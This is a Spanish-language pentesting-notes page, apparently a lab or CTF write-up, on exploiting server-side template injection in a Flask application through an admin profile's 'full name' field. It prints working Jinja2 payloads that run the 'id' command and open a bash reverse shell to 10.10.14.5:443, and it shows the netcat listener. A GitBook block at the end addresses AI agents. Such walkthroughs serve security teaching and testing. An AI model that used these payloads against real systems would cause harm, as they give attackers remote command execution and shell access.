> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-server-side-template-injection-ssti/ssti-flask-pentesting-web.md).

# SSTI Flask

## SSTI:

<figure><img src="/files/d9a5da1174ba903e3978d9acb8740ca18045dab5" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/9919f3fe081c247d6eab4afa808955a7b4e2c750" alt=""><figcaption></figcaption></figure>

En el subdominio, encontrarás una **Configuración** pestaña donde puedes modificar la información del usuario administrador (nombre completo, fecha de nacimiento y teléfono).

<figure><img src="/files/a6b4ebc3e2f3787a144b5873d2d1012b8c807569" alt=""><figcaption></figcaption></figure>

Si, en el formulario "full name", intentas ejecutar un ataque SSTI, el servidor es vulnerable. Para probar esto con el `{{ }}`, comprobamos si interpreta el cálculo:

```python
{{1+1}}

```

<figure><img src="/files/27d6dba2953d6998ce20c8e4dffb25211e5e69b4" alt=""><figcaption></figcaption></figure>

Después, todos ejecutamos comandos (por ejemplo, `id`):

```python
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}

```

Descubrimos que está en el grupo `root`.

<figure><img src="/files/3376f401eb26ce2737b6c29c70bb43cb9bc52315" alt=""><figcaption></figcaption></figure>

Realizamos una reverse shell para acceder al servidor

```python
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('bash -c "bash -i >& /dev/tcp/10.10.14.5/443 0>&1"').read() }}

```

Iniciamos un listener en el puerto 443 en nuestra máquina atacante:

```bash
nc -nlvp 443

```

<figure><img src="/files/29b51beb0c3dc073ac2f8f7236d01c0c868a2fa3" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-server-side-template-injection-ssti/ssti-flask-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
